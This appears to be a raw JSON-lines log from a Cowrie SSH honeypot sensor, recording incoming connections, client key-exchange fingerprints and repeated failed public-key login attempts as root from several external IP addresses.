{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:25.936136Z","src_ip":"139.162.55.218","session":"deaabdc66a38","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"54:fd:6a:0a:04:7d:89:2d:e0:fe:46:a0:d6:c2:d2:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOHDcZHowN+Xx6f7L0QI9L/cgEyf8ERYoBMeymfBFSCpP1Nm+NvFngxMfapKc2ASZ8kgCEqvQmw0ik8XJm8iY6ie3EAVolCAo3cDgVcCame/AvpawU3dTVHyKBZRy/rmTttpwj6IlQejSdh2Pn3zXG+uIiUUxal76zoPwVU8Ew3kbs+0HVQjKegzmVV+KH0ig2axa6FfvAYWtDfhVPT8gpFom8W3hZolCaHhCEvGooIbF+oPh8PsS/GaEnS4wuzsrUOTWVtTZknj4SEJ7PujJS2huAbZsHRPG+LK8JFjJ+DCn9DzqSk2xAsD4jAq/YRF0kHE0ovrWw3ogsK1uCYOl5RYl7yNhQ+4zKfmqI86CubVV5Wnl4QdPQ7xJgkT8k8aHhPqBc7xAhfiQuQPfQQJ0mkhVbFY+FQwy3o7fiPPx26Vy5OqqFr20cA8Wv1YCeR84So8KWq4SmRhZ/2eNfhL2HqNsK8WXMrKbhVlP2jnqBH+4j8IDe66mrHNljYGHZGd2kE2G6P6eiBX9H1MPGyyciMhAEtwNe0vqZphgJQH10jntPztFHgy3qrsVSfGOnEEbS8i39Nu7NPvX5Dy4yWNq5zGanHIwvLRcS9mdK5FCx97oXnT6DUQKM/4qFi/RcDqM4qfWtlREUnHdGIpnT3linZ0OLsw07h47tXtWMtTkNLw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 54:fd:6a:0a:04:7d:89:2d:e0:fe:46:a0:d6:c2:d2:01","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:27.077336Z","src_ip":"139.162.55.218","session":"deaabdc66a38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"54:fd:6a:0a:04:7d:89:2d:e0:fe:46:a0:d6:c2:d2:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOHDcZHowN+Xx6f7L0QI9L/cgEyf8ERYoBMeymfBFSCpP1Nm+NvFngxMfapKc2ASZ8kgCEqvQmw0ik8XJm8iY6ie3EAVolCAo3cDgVcCame/AvpawU3dTVHyKBZRy/rmTttpwj6IlQejSdh2Pn3zXG+uIiUUxal76zoPwVU8Ew3kbs+0HVQjKegzmVV+KH0ig2axa6FfvAYWtDfhVPT8gpFom8W3hZolCaHhCEvGooIbF+oPh8PsS/GaEnS4wuzsrUOTWVtTZknj4SEJ7PujJS2huAbZsHRPG+LK8JFjJ+DCn9DzqSk2xAsD4jAq/YRF0kHE0ovrWw3ogsK1uCYOl5RYl7yNhQ+4zKfmqI86CubVV5Wnl4QdPQ7xJgkT8k8aHhPqBc7xAhfiQuQPfQQJ0mkhVbFY+FQwy3o7fiPPx26Vy5OqqFr20cA8Wv1YCeR84So8KWq4SmRhZ/2eNfhL2HqNsK8WXMrKbhVlP2jnqBH+4j8IDe66mrHNljYGHZGd2kE2G6P6eiBX9H1MPGyyciMhAEtwNe0vqZphgJQH10jntPztFHgy3qrsVSfGOnEEbS8i39Nu7NPvX5Dy4yWNq5zGanHIwvLRcS9mdK5FCx97oXnT6DUQKM/4qFi/RcDqM4qfWtlREUnHdGIpnT3linZ0OLsw07h47tXtWMtTkNLw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:27.081466Z","src_ip":"139.162.55.218","session":"deaabdc66a38","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:75:df:0f:c9:af:b4:9c:18:59:f8:5c:06:42:b0:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7SXUPaFhI5FJSw6qKOm1T93FxzJjm5sdrcpYtq8+aRguBzbnn6PE3yhKR5b0p5nCDMsi6tHfFwcOM52INAIgVy9A1WjzU3vkdGAev0akz8Ba4W33Do73MgDV9EsAWPCaSv1/cbDd7GrPIz/Yhh1k0OXt8tEVT5nTRp18nqnOec1hT4weJgprfJSQFHn9GE8JDC7LtxLL110pQ3mZJ7rVHzT5rr7VlE1F1D2oGxCw4Ytm9tc6Gr2mMAcUEzxOSbC0KeXdaw5NPYjovLHEaWnWJfT+7oVTia7LSpu4gJEp+MzlOfIElkhSByo1j2WplStvXL/QllLKNpVwCzMtcEx6x","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:75:df:0f:c9:af:b4:9c:18:59:f8:5c:06:42:b0:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:27.316684Z","src_ip":"139.162.55.218","session":"deaabdc66a38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:75:df:0f:c9:af:b4:9c:18:59:f8:5c:06:42:b0:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7SXUPaFhI5FJSw6qKOm1T93FxzJjm5sdrcpYtq8+aRguBzbnn6PE3yhKR5b0p5nCDMsi6tHfFwcOM52INAIgVy9A1WjzU3vkdGAev0akz8Ba4W33Do73MgDV9EsAWPCaSv1/cbDd7GrPIz/Yhh1k0OXt8tEVT5nTRp18nqnOec1hT4weJgprfJSQFHn9GE8JDC7LtxLL110pQ3mZJ7rVHzT5rr7VlE1F1D2oGxCw4Ytm9tc6Gr2mMAcUEzxOSbC0KeXdaw5NPYjovLHEaWnWJfT+7oVTia7LSpu4gJEp+MzlOfIElkhSByo1j2WplStvXL/QllLKNpVwCzMtcEx6x","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:27.320617Z","src_ip":"139.162.55.218","session":"deaabdc66a38","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:e1:59:c6:cd:de:6e:b4:e4:e8:35:69:46:36:87:c0","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBRmLYHt12vGdL+P7HFIDy4bAAmRqWmMKt+ADJcWxIfA","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 70:e1:59:c6:cd:de:6e:b4:e4:e8:35:69:46:36:87:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:27.560605Z","src_ip":"139.162.55.218","session":"deaabdc66a38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:e1:59:c6:cd:de:6e:b4:e4:e8:35:69:46:36:87:c0","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBRmLYHt12vGdL+P7HFIDy4bAAmRqWmMKt+ADJcWxIfA","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:27.564419Z","src_ip":"139.162.55.218","session":"deaabdc66a38","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:45:39:8b:7c:57:85:d4:50:e6:96:61:ad:2a:23:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCa/U6PBGS7Y8xvB0Df8awI6h3pWEL71R94y0Z1FWzbgved3j0XKE/Hrq9oad8uk+dY63qOUghEcJOR4AMp0TkCEz9u3OCnKB3ZkSzYtdILQPvv5mZXSyzT48Zxz4pj9HakhQXYo2oYHHYa/e5SytvMa1dHvYeqdh3G8biMWfppDW2TS37bCUvoGrjjPxeKQT2SR0NG8SaNHFEQjuSgH63VNja/kHV6xvy+qBUlaS7sEr9JzzDSJD7WOpDktOmlH9EE2S7o/uDQOvVJTTZy7fuQIcNGrHLJGBAULUuyxl6vXKHL+f4o0fAHgx+AyyMzgUnxjtPxP5XfvueUKuXBlMgb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:45:39:8b:7c:57:85:d4:50:e6:96:61:ad:2a:23:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:27.797715Z","src_ip":"139.162.55.218","session":"deaabdc66a38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:45:39:8b:7c:57:85:d4:50:e6:96:61:ad:2a:23:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCa/U6PBGS7Y8xvB0Df8awI6h3pWEL71R94y0Z1FWzbgved3j0XKE/Hrq9oad8uk+dY63qOUghEcJOR4AMp0TkCEz9u3OCnKB3ZkSzYtdILQPvv5mZXSyzT48Zxz4pj9HakhQXYo2oYHHYa/e5SytvMa1dHvYeqdh3G8biMWfppDW2TS37bCUvoGrjjPxeKQT2SR0NG8SaNHFEQjuSgH63VNja/kHV6xvy+qBUlaS7sEr9JzzDSJD7WOpDktOmlH9EE2S7o/uDQOvVJTTZy7fuQIcNGrHLJGBAULUuyxl6vXKHL+f4o0fAHgx+AyyMzgUnxjtPxP5XfvueUKuXBlMgb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:27.801426Z","src_ip":"139.162.55.218","session":"deaabdc66a38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.103","src_port":16106,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ed35559103f","protocol":"ssh","message":"New connection: 79.127.181.103:16106 (10.17.0.5:22) [session: 9ed35559103f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:27.819889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:28.027153Z","src_ip":"79.127.181.103","session":"9ed35559103f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:29:3a:18:5f:b8:55:c7:51:78:14:f0:13:6a:b3:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDU1V262W0hbSHOnFsHxA0zzn5SuIp155Wp75SkgiCmOgF5pIietEUawfDDVemJOWx1Pf8HmBlIQfX+GLAf55aOtcGxQrBbPZXE89BhmT2BJ2mNwfLRL0ORLbLrDLsF4ZJ1XzYS0QzCvY8O/0iCpo78NTdxb10n1q48rur1B+BzBMmRIB9L+FQOoB4czUPAgxFqH68J+JMmHDYOWI8nPwX9Y82BLjtwI5NncX60RuJy5LePbGz00qqBSIKyp+574nWBB3HfzRc/s/Bf1d18JxYlYiyVwVLMTyYE0aR0lF9/zV2N8B6CVwTvWKy6AvaeVSDnXj9wQwN9eOJlUZhEy0coGsvaHI5Nehb9Mya9bEDLNWqfMQAPjJTgqkc49EN/QVV5NZB4k729hyIySO4pGK4XJFDBzgPAjRWaNSmMo42o2GTBUG08VliboxGDakAAbjJPfC5/Aw1uYltufXN6HOwzRuIOTRCYvDaSOt83WMWPShZHjq+JW3AKwFC6yGDbV70/j6DX7Klhx8wX/3fvFRI1wG2fZML/4B7AtelbfQPLzFe9fWeyuvJ6efZi3I7upIJpQKbSiFxMluTouKapqsL/EHOpbzfkJx5weL/OZq/+MJp5SP3k3M5fOQPw/SoPwwxu9aXK3dBfqDUqnwiRi1w/q/vTlobFAcCf6p3/WUzzMQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:29:3a:18:5f:b8:55:c7:51:78:14:f0:13:6a:b3:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:28.034161Z","src_ip":"139.162.55.218","session":"deaabdc66a38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:29:3a:18:5f:b8:55:c7:51:78:14:f0:13:6a:b3:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDU1V262W0hbSHOnFsHxA0zzn5SuIp155Wp75SkgiCmOgF5pIietEUawfDDVemJOWx1Pf8HmBlIQfX+GLAf55aOtcGxQrBbPZXE89BhmT2BJ2mNwfLRL0ORLbLrDLsF4ZJ1XzYS0QzCvY8O/0iCpo78NTdxb10n1q48rur1B+BzBMmRIB9L+FQOoB4czUPAgxFqH68J+JMmHDYOWI8nPwX9Y82BLjtwI5NncX60RuJy5LePbGz00qqBSIKyp+574nWBB3HfzRc/s/Bf1d18JxYlYiyVwVLMTyYE0aR0lF9/zV2N8B6CVwTvWKy6AvaeVSDnXj9wQwN9eOJlUZhEy0coGsvaHI5Nehb9Mya9bEDLNWqfMQAPjJTgqkc49EN/QVV5NZB4k729hyIySO4pGK4XJFDBzgPAjRWaNSmMo42o2GTBUG08VliboxGDakAAbjJPfC5/Aw1uYltufXN6HOwzRuIOTRCYvDaSOt83WMWPShZHjq+JW3AKwFC6yGDbV70/j6DX7Klhx8wX/3fvFRI1wG2fZML/4B7AtelbfQPLzFe9fWeyuvJ6efZi3I7upIJpQKbSiFxMluTouKapqsL/EHOpbzfkJx5weL/OZq/+MJp5SP3k3M5fOQPw/SoPwwxu9aXK3dBfqDUqnwiRi1w/q/vTlobFAcCf6p3/WUzzMQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:28.037681Z","src_ip":"139.162.55.218","session":"deaabdc66a38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:28.229614Z","src_ip":"79.127.181.103","session":"9ed35559103f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:28.238566Z","src_ip":"79.127.181.103","session":"9ed35559103f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:28.273340Z","src_ip":"139.162.55.218","session":"deaabdc66a38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.125.236.201","src_port":49372,"dst_ip":"10.17.0.5","dst_port":22,"session":"38962693375b","protocol":"ssh","message":"New connection: 135.125.236.201:49372 (10.17.0.5:22) [session: 38962693375b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:32.593885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:32.598653Z","src_ip":"135.125.236.201","session":"38962693375b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:32.693144Z","src_ip":"135.125.236.201","session":"38962693375b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:12:e0:22:96:c2:2f:f9:a2:3b:87:91:da:9c:e2:bb","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAID0zmK1fMs1m91PV6HE0rH1yW/f6hzv2BCnANOliXc5C","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint f2:12:e0:22:96:c2:2f:f9:a2:3b:87:91:da:9c:e2:bb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:33.122444Z","src_ip":"135.125.236.201","session":"38962693375b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:12:e0:22:96:c2:2f:f9:a2:3b:87:91:da:9c:e2:bb","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAID0zmK1fMs1m91PV6HE0rH1yW/f6hzv2BCnANOliXc5C","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:33.126290Z","src_ip":"135.125.236.201","session":"38962693375b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:bd:60:15:db:26:29:73:49:9a:c1:b8:91:8d:58:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCx4FpykUHAjYF85m4eNd7l6LDeyw8nkHDek3bOZwCrapPM0d87BjOyoBUHHa3I9H14STM8lSw8S91Hm23XjJiqIsrPm6AACzOLoKhTZy51vNZ5bUV2bLjufdkMTOfzGQ0udbA+H2XovTByBJlyoWm6cKCb3YXMAqmfHaKu6fhHLaEpR/vZ3iIHalDxaby347xS+7IcyHbXGrgGCR4cvQgOXNgQvoixOJOgFXwu1BbumZeufWW2Ttl+4lNViB08J5oCCZ992Cwy9rxyu+QjlleVFdrJXzwag0JG7RiBa9ExjAO1zRl9Wc7o8R9HvI/vHc3EfgQ9gJDFyAznNnu3/Mal","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ac:bd:60:15:db:26:29:73:49:9a:c1:b8:91:8d:58:0c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:33.216876Z","src_ip":"135.125.236.201","session":"38962693375b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:bd:60:15:db:26:29:73:49:9a:c1:b8:91:8d:58:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCx4FpykUHAjYF85m4eNd7l6LDeyw8nkHDek3bOZwCrapPM0d87BjOyoBUHHa3I9H14STM8lSw8S91Hm23XjJiqIsrPm6AACzOLoKhTZy51vNZ5bUV2bLjufdkMTOfzGQ0udbA+H2XovTByBJlyoWm6cKCb3YXMAqmfHaKu6fhHLaEpR/vZ3iIHalDxaby347xS+7IcyHbXGrgGCR4cvQgOXNgQvoixOJOgFXwu1BbumZeufWW2Ttl+4lNViB08J5oCCZ992Cwy9rxyu+QjlleVFdrJXzwag0JG7RiBa9ExjAO1zRl9Wc7o8R9HvI/vHc3EfgQ9gJDFyAznNnu3/Mal","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:33.220631Z","src_ip":"135.125.236.201","session":"38962693375b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:71:80:15:e7:ac:27:e9:f7:71:7a:78:de:62:77:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQClC9ZA24DrYszNS5TOPNykqv04XZqOC86oNshhy6q8Yorpf1EsQvmxBTBtlVBoc4NLYz9lPKNYeS4xbthSIifxo29QoGq9vawor32UUl4LG9i6u+vuQiWoywhTl2Q5BNGsulLTykeQDe2aEykpLK1WLUBjhfPn1JtvTw9DHTo1yxtuD1aOXeXgCunStZgytzyG3Hr8XM69q+lpq8/UwpKl57nyI+unLFoFc7Z9axaWoiXppuSS37cuVMGNbZaF1ISA7hqvTTQC9tnOMBXdHHA29nfqEGPdlLjF9Qj4hBT7srrZ4a8wFBu9ZJ+YAm2RHeqN1QDZXBs5IK8KYn7K0w4rx/zy4Tvkpx3Cfuwp/rcv/XpGJN1LKvctmSa6JeS2hgg5Vh4VBttlaK1rz+1k6PO54Sz1V+TfBZpsA4SZ29jUxQ2O2Oi8Zt2AuHLs88zlzwvVl2+r7uugTj/7zJAA+RcxqYK/zTSDzmBq25x85771qlRxFsMu/8eWDMPBbvmK3ak=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ad:71:80:15:e7:ac:27:e9:f7:71:7a:78:de:62:77:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:33.310998Z","src_ip":"135.125.236.201","session":"38962693375b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:71:80:15:e7:ac:27:e9:f7:71:7a:78:de:62:77:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQClC9ZA24DrYszNS5TOPNykqv04XZqOC86oNshhy6q8Yorpf1EsQvmxBTBtlVBoc4NLYz9lPKNYeS4xbthSIifxo29QoGq9vawor32UUl4LG9i6u+vuQiWoywhTl2Q5BNGsulLTykeQDe2aEykpLK1WLUBjhfPn1JtvTw9DHTo1yxtuD1aOXeXgCunStZgytzyG3Hr8XM69q+lpq8/UwpKl57nyI+unLFoFc7Z9axaWoiXppuSS37cuVMGNbZaF1ISA7hqvTTQC9tnOMBXdHHA29nfqEGPdlLjF9Qj4hBT7srrZ4a8wFBu9ZJ+YAm2RHeqN1QDZXBs5IK8KYn7K0w4rx/zy4Tvkpx3Cfuwp/rcv/XpGJN1LKvctmSa6JeS2hgg5Vh4VBttlaK1rz+1k6PO54Sz1V+TfBZpsA4SZ29jUxQ2O2Oi8Zt2AuHLs88zlzwvVl2+r7uugTj/7zJAA+RcxqYK/zTSDzmBq25x85771qlRxFsMu/8eWDMPBbvmK3ak=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:33.315350Z","src_ip":"135.125.236.201","session":"38962693375b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:64:57:06:22:b4:a0:1e:85:1d:a5:e4:eb:9b:41:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkePtFHvb6GQ2hJWrwfyJ5tZeOkwKUxop7FB+UHVhz/1vv1IajUrbnEc5f/3IgWDnJhjJT0LI8h8UinNwovgSFh/9yHtKVu5VbFictjiTp0kWU/NHncw/XJwe6xVLQxPrOV1hq5XMmG/DW28eTR03bf2YPkUQ99F1c09c3wef4lAZmtx0gKStrWYwKcMSSHxP7hIftKbPVl+76RuW/qOStTXB9XSk0vV8QQZ0lj+d+loQsfO8AgyRtqFzmyV9I5aBeY6stIpnZJX8nFV8xR8CA0+cxbAh9tGoKubz5bCk/PpBiZ/iC6bpeGGxd+phzN8zlgpwfrrB5+z3L1gLuumhH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0f:64:57:06:22:b4:a0:1e:85:1d:a5:e4:eb:9b:41:88","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:33.409857Z","src_ip":"135.125.236.201","session":"38962693375b","protocol":"ssh"}
